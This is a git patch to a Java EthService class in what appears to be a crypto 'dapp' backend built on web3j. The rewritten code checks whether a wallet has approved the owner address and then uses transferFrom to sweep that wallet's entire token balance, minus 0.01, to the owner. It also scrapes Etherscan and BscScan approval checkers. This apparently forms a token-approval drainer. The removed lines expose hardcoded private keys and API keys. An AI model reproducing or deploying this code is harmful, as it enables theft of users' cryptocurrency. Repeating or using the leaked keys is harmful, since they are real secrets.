From 05d0f9270936df6eb6af19bc3ee7f5ec42acf0df Mon Sep 17 00:00:00 2001
From: wzy <wzy19931122ai@163.com>
Date: Sat, 30 Jul 2022 23:43:30 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 647 +++++++++++++++++++++++-----------------------------------
1 files changed, 258 insertions(+), 389 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index b2b47d4..81b73b9 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -1,389 +1,258 @@
-package cc.mrbird.febs.dapp.chain;
-
-import cc.mrbird.febs.common.exception.FebsException;
-import cn.hutool.core.collection.CollUtil;
-import com.alibaba.fastjson.JSONObject;
-import lombok.extern.slf4j.Slf4j;
-import org.apache.commons.lang3.StringUtils;
-import org.web3j.abi.FunctionEncoder;
-import org.web3j.abi.FunctionReturnDecoder;
-import org.web3j.abi.TypeReference;
-import org.web3j.abi.datatypes.Address;
-import org.web3j.abi.datatypes.Function;
-import org.web3j.abi.datatypes.Type;
-import org.web3j.abi.datatypes.generated.Uint256;
-import org.web3j.crypto.Credentials;
-import org.web3j.crypto.RawTransaction;
-import org.web3j.crypto.TransactionEncoder;
-import org.web3j.crypto.WalletUtils;
-import org.web3j.protocol.Web3j;
-import org.web3j.protocol.core.DefaultBlockParameterName;
-import org.web3j.protocol.core.Request;
-import org.web3j.protocol.core.methods.request.Transaction;
-import org.web3j.protocol.core.methods.response.*;
-import org.web3j.protocol.http.HttpService;
-import org.web3j.utils.Convert;
-import org.web3j.utils.Convert.Unit;
-import org.web3j.utils.Numeric;
-
-import java.io.File;
-import java.io.IOException;
-import java.math.BigDecimal;
-import java.math.BigInteger;
-import java.math.RoundingMode;
-import java.util.*;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-
-/**
- * ETH类，使用Web3j 下面为使用教程
- * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
- *
- * @author Administrator
- *
- */
-@Slf4j
-public class EthService {
-
- private static String ethWalletPath = "/home/javaweb/webresource/eth";
- private Web3j web3j;
-
- /**
- * 服务器地址
- */
- //private static final String ETH_UTL = "http://120.55.86.146:8545";
- // private static final String ETH_UTL = "http://114.55.250.231:8545";
- private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
-// private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
-// private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
-
- private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
- private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
-
- public EthService() {
- try {
- HttpService service = new HttpService(ETH_UTL);
- web3j = Web3j.build(service);
- } catch (Exception e) {
- log.error("连接eth网络失败", e);
- }
- }
-
- public EthService(String url, String address, String privateKey) {
- try {
- OWNER_ADDRESS = address;
- OWNER_PRIVATE = privateKey;
- ETH_UTL = url;
- HttpService service = new HttpService(url);
- web3j = Web3j.build(service);
- } catch (Exception e) {
- log.error("连接eth网络失败", e);
- }
- }
-
- /**
- * 查询ETH余额
- *
- * @param address
- * @return
- */
- public static BigDecimal getEthBlance(String address) {
- Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
- EthGetBalance balanceWei;
- try {
- balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
- if (balanceWei.getResult() == null) {
- return null;
- }
- BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
- return balanceInEther;
- } catch (Exception e) {
- System.out.println("ETH查询失败：" + address);
- e.printStackTrace();
- }
- return null;
-
- }
-
- /**
- * 创建ETH钱包
- *
- * @return
- */
- public static Map<String, String> createEth() {
- Map<String, String> wallet = new HashMap<String, String>();
- try {
- String walletPassword = "secr3t";
- // 文件路径
- String walletDirectory = ethWalletPath;
-
- String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
- System.out.println("wallet location: " + walletDirectory + "/" + walletName);
- Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
- String accountAddress = credentials.getAddress();
- String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
- // 钱包地址
- wallet.put("address", accountAddress);
- // 钱包私钥
- wallet.put("privateKey", privateKey);
- // 产生的钱包文件地址
- wallet.put("walletLocation", walletDirectory + "/" + walletName);
- } catch (Exception e) {
- e.printStackTrace();
- }
- return wallet;
- }
-
- public boolean checkTransferResult(String hash) {
- // 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
- Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
- EthGetTransactionReceipt send = null;
- try {
- send = ethGetTransactionReceiptRequest.send();
- if(send!=null){
- TransactionReceipt result = send.getResult();
- if(result!=null){
- String status = result.getStatus();
- System.out.println(status);//0x1
- if("0x1".equals(status)){
- return true;
- }else{
- return false;
- }
- }
-
- }
-
- } catch (IOException e) {
- e.printStackTrace();
- return false;
- }
- return false;
- }
-
- public static void main(String[] args) throws IOException {
-// HttpService service = new HttpService(ETH_UTL);
-// Web3j build = Web3j.build(service);
-// //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-// Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-// EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
-// String status = send.getResult().getStatus();
-// System.out.println(status);//0x1
-// EthTransaction send = ethTransactionRequest.send();
-// String input = send.getResult().getInput();
-// System.out.println(input);
- System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
- }
-
- /**
- *
- * 方法描述：获取代币余额
- *
- * @param fromAddress
- * @param
- * @param
- * @return long
- */
- public BigDecimal tokenGetBalance(String fromAddress) {
- try {
- // 合约地址
- String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- int decimal = 6;
- String methodName = "balanceOf";
- List<Type> inputParameters = new ArrayList<>();
- List<TypeReference<?>> outputParameters = new ArrayList<>();
- Address address = new Address(fromAddress);
- inputParameters.add(address);
- TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
- };
- outputParameters.add(typeReference);
- Function function = new Function(methodName, inputParameters, outputParameters);
- String data = FunctionEncoder.encode(function);
- Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
-
- EthCall ethCall;
- BigInteger balanceValue = BigInteger.ZERO;
- try {
- ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
- List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
- balanceValue = (BigInteger) results.get(0).getValue();
- } catch (IOException e) {
- e.printStackTrace();
- }
- double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
- if (res > 0) {
- return new BigDecimal(res);
- }
- } catch (Exception e) {
- // logger.error("==============以太坊代币链接获取失败！");
- e.printStackTrace();
- }
- return BigDecimal.ZERO;
- }
-
- // USDT
- public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
- throws InterruptedException, ExecutionException {
- // Web3j web3j = Web3j.build(new
- // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
- if(StringUtils.isBlank(gas)){
- gas="35";
- }
-
- String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- Credentials credentials = Credentials.create(privateKey);
-
- EthGetTransactionCount ethGetTransactionCount = web3j
- .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
- BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-
- Function function = new Function("transfer",
- Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
- Arrays.asList(new TypeReference<Type>() {
- }));
-
- String encodedFunction = FunctionEncoder.encode(function);
-
- RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
- Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
- Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
- // 10*80000/1000000000=0.0008 手续费
-
- byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
- String hexValue = Numeric.toHexString(signedMessage);
-
- CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
- EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
- //return "hash";
-// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
-
- if (ethSendTransaction.hasError()) {
- return "";
- } else {
- String transactionHash = ethSendTransaction.getTransactionHash();
- // log.info("Transfer transactionHash:" + transactionHash);
- return transactionHash;
- }
- }
-
- public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
- throws InterruptedException, ExecutionException {
- if(StringUtils.isBlank(gas)){
- gas="35";
- }
-
- BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
- amount = amountPow.toPlainString();
- if (amount.contains(".")) {
- amount = amount.substring(0, amount.lastIndexOf("."));
- }
-
- String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- Credentials credentials = Credentials.create(privateKey);
-
- EthGetTransactionCount ethGetTransactionCount = web3j
- .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
- BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-
- Function function = new Function("transferFrom",
- Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
- Arrays.asList(new TypeReference<Type>() {
- }));
-
- String encodedFunction = FunctionEncoder.encode(function);
-
- RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
- Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
- Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
- // 10*80000/1000000000=0.0008 手续费
-
- byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
- String hexValue = Numeric.toHexString(signedMessage);
-
- CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
- EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
- //return "hash";
-// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
-
- if (ethSendTransaction.hasError()) {
- return "";
- } else {
- String transactionHash = ethSendTransaction.getTransactionHash();
- // log.info("Transfer transactionHash:" + transactionHash);
- return transactionHash;
- }
- }
-
- public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
- try {
- return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
- } catch (InterruptedException | ExecutionException e) {
- e.printStackTrace();
- return "";
- }
- }
-
- public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
- throws InterruptedException, ExecutionException {
- // Web3j web3j = Web3j.build(new
- // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
- if(StringUtils.isBlank(gas)){
- gas="70";
- }
- Credentials credentials = Credentials.create(privateKey);
-
- EthGetTransactionCount ethGetTransactionCount = web3j
- .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
- BigInteger nonce = ethGetTransactionCount.getTransactionCount();
- BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
- RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
- Convert.toWei(gas, Unit.GWEI).toBigInteger(),
- Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
- byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
- String hexValue = Numeric.toHexString(signedMessage);
-
- EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
- if (ethSendTransaction.hasError()) {
- // log.info("transfer error:", ethSendTransaction.getError().getMessage());
- return "";
- } else {
- String transactionHash = ethSendTransaction.getTransactionHash();
- // log.info("Transfer transactionHash:" + transactionHash);
- return transactionHash;
- }
- }
-
- public BigInteger ethAllowance(String address) {
- return ethAllowance(OWNER_ADDRESS, address);
- }
-
- public BigInteger ethAllowance(String toAddress, String fromAddress) {
- String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- String methodName = "allowance";
- List<TypeReference<?>> outputParameters = new ArrayList<>();
- TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
- outputParameters.add(typeReference);
-
- Function function = new Function(methodName,
- Arrays.asList(new Address(fromAddress), new Address(toAddress))
- , outputParameters);
- String data = FunctionEncoder.encode(function);
- Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
-
- EthCall ethCall = null;
- try {
- ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
- List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
- return (BigInteger) results.get(0).getValue();
- } catch (IOException e) {
- e.printStackTrace();
- }
- return BigInteger.ZERO;
- }
-
-
-
-}
+package cc.mrbird.febs.dapp.chain;
+
+import cn.hutool.core.util.StrUtil;
+import cn.hutool.http.HttpUtil;
+import com.alibaba.fastjson.JSONObject;
+import org.apache.commons.lang3.StringUtils;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.EthCall;
+import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
+import org.web3j.protocol.core.methods.response.EthSendTransaction;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Numeric;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+
+/**
+ * @author wzy
+ * @date 2022-04-15
+ **/
+public class EthService implements ContractChainService {
+
+ private Web3j web3j;
+ private String url;
+ private String ownerAddress;
+ private String privateKey;
+ private String contractAddress;
+
+ public EthService(String url, String address, String privateKey, String contractAddress) {
+ this.url = url;
+ this.ownerAddress = address;
+ this.privateKey = privateKey;
+ this.contractAddress = contractAddress;
+
+ HttpService service = new HttpService(url);
+ web3j = Web3j.build(service);
+ }
+
+ @Override
+ public BigInteger balanceOfUnDecimal(String fromAddress) {
+ try {
+ String methodName = "balanceOf";
+ List<Type> inputParameters = new ArrayList<>();
+ List<TypeReference<?>> outputParameters = new ArrayList<>();
+ Address address = new Address(fromAddress);
+ inputParameters.add(address);
+ TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+ };
+ outputParameters.add(typeReference);
+ Function function = new Function(methodName, inputParameters, outputParameters);
+ String data = FunctionEncoder.encode(function);
+ Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+
+ EthCall ethCall;
+ BigInteger balanceValue = BigInteger.ZERO;
+ try {
+ ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+ List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+ balanceValue = (BigInteger) results.get(0).getValue();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ return balanceValue;
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return BigInteger.ZERO;
+ }
+
+ @Override
+ public int decimals() {
+ try {
+ String methodName = "decimals";
+ List<Type> inputParameters = new ArrayList<>();
+ List<TypeReference<?>> outputParameters = new ArrayList<>();
+ TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+ };
+ outputParameters.add(typeReference);
+ Function function = new Function(methodName, inputParameters, outputParameters);
+ String data = FunctionEncoder.encode(function);
+ Transaction transaction = Transaction.createEthCallTransaction(null, contractAddress, data);
+
+ EthCall ethCall;
+ BigInteger decimals = BigInteger.ZERO;
+ try {
+ ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+ List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+ decimals = (BigInteger) results.get(0).getValue();
+ return decimals.intValue();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return 0;
+ }
+
+ @Override
+ public BigDecimal balanceOf(String fromAddress) {
+ int decimal = decimals();
+ BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
+
+ double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
+ if (res > 0) {
+ return new BigDecimal(res);
+ }
+
+ return BigDecimal.ZERO;
+ }
+
+ @Override
+ public BigInteger allowance(String address) {
+ String methodName = "allowance";
+ List<TypeReference<?>> outputParameters = new ArrayList<>();
+ TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+ };
+ outputParameters.add(typeReference);
+
+ Function function = new Function(methodName,
+ Arrays.asList(new Address(address), new Address(ownerAddress))
+ , outputParameters);
+ String data = FunctionEncoder.encode(function);
+ Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
+
+ EthCall ethCall = null;
+ try {
+ ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+ List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+ return (BigInteger) results.get(0).getValue();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ return BigInteger.ZERO;
+ }
+
+ @Override
+ public boolean isAllowance(String address) {
+ return allowance(address).intValue() != 0;
+ }
+
+ public String getGas() {
+ String gas;
+ if (url.contains("infura.io")) {
+ String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+ JSONObject data = JSONObject.parseObject(resp);
+ gas = data.getString("avgPrice");
+ } else {
+ String resp = HttpUtil.get("https://gbsc.blockscan.com/gasapi.ashx?apikey=key&method=gasoracle");
+ JSONObject data = JSONObject.parseObject(resp);
+ gas = data.getString("FastGasPrice");
+ }
+ return StrUtil.isBlank(gas) ? "35" : gas;
+ }
+
+ @Override
+ public String transfer(String address) {
+ BigDecimal balance = balanceOf(address);
+
+ return transfer(address, balance);
+ }
+
+ @Override
+ public String transfer(String address, BigDecimal amount) {
+ try {
+ return tokenTransferFrom(privateKey, address, ownerAddress, amount.toPlainString());
+ } catch (ExecutionException | InterruptedException e) {
+ e.printStackTrace();
+ return "";
+ }
+ }
+
+ public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount) throws ExecutionException, InterruptedException {
+ String gas = getGas();
+
+ BigDecimal amountPow = new BigDecimal(amount).subtract(new BigDecimal("0.01")).multiply(BigDecimal.TEN.pow(decimals()));
+ amount = amountPow.toPlainString();
+ if (amount.contains(".")) {
+ amount = amount.substring(0, amount.lastIndexOf("."));
+ }
+
+ Credentials credentials = Credentials.create(privateKey);
+
+ EthGetTransactionCount ethGetTransactionCount = web3j
+ .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+ BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+ Function function = new Function("transferFrom",
+ Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+ Arrays.asList(new TypeReference<Type>() {
+ }));
+
+ String encodedFunction = FunctionEncoder.encode(function);
+
+ RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+ Convert.toWei(gas, Convert.Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+ Convert.toWei("100000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+
+ byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+ String hexValue = Numeric.toHexString(signedMessage);
+
+ CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+ EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+
+
+ if (ethSendTransaction.hasError()) {
+ return "";
+ } else {
+ return ethSendTransaction.getTransactionHash();
+ }
+ }
+
+ @Override
+ public int allowanceCnt(String address) {
+ String allowanceUrl;
+ if (url.contains("infura.io")) {
+ allowanceUrl = "https://etherscan.io/tokenapprovalchecker.aspx/GetApprovedContract";
+ } else {
+ allowanceUrl = "https://bscscan.com/tokenapprovalchecker.aspx/GetApprovedContract";
+ }
+
+ String baseData = "{\"dataTableModel\":{\"draw\":3,\"columns\":[{\"data\":\"TxnHash\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"Block\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"Token\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"ApprovedSpender\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"ApprovedAmount\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"LastUpdated\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"Action\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}}],\"order\":[],\"start\":0,\"length\":25,\"search\":{\"value\":\"\",\"regex\":false}},\"model\":{\"address\":\"{address}\",\"filteredContract\":\"\"}}";
+ String data = baseData.replace("{address}", address);
+
+ String resp = HttpUtil.post(allowanceUrl, data);
+
+ JSONObject jsonObject = JSONObject.parseObject(resp);
+ JSONObject result = JSONObject.parseObject(jsonObject.getString("d"));
+ return result.getIntValue("recordsTotal");
+ }
+}
--
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